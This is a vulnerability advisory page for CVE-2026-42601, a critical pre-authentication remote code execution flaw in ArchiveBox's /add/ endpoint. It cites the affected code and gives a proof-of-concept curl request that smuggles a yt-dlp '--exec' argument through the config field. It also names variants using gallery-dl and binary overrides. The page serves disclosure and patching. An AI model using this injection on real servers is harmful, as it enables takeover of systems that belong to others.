CVE-2026-42601 — Vulnerability in archivebox — CVE Details
CRITICAL
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
Published May 4, 2026Updated July 7, 2026Source: osv
Summary
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation:
custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config:
config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority:
if crawl and hasattr(crawl, "config") and crawl.config:
config.update(crawl.config)
hooks.py:398-411 - config exported as env vars:
for key, value in config.items():
if key in SKIP_KEYS: continue
env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:
ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", [])
cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/ \
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
-d "depth=0" \
-d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
Advisory Timeline
- First published May 4, 2026 (161 days ago).
- Last revised July 7, 2026 — 64 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: pypi (1).
| Package | Ecosystem | Affected | Fixed In |
|---|---|---|---|
| archivebox | pypi | 0.4.11, 0.4.12, 0.4.13, 0.4.14 (+72 more) | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-88
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8rWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-42601ADVISORY
- https://github.com/ArchiveBox/ArchiveBoxPACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/archivebox/PYSEC-2026-283.yamlWEB
- https://pypi.org/project/archiveboxWEB
Frequently Asked Questions
- What is CVE-2026-42601?
- ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2026-42601?
- CVE-2026-42601 affects archivebox. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42601 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
9.8
Exploitation is straightforward and causes maximum impact. Patch immediately.
Also Known As
GHSA-3h23-7824-pj8r
PYSEC-2026-283
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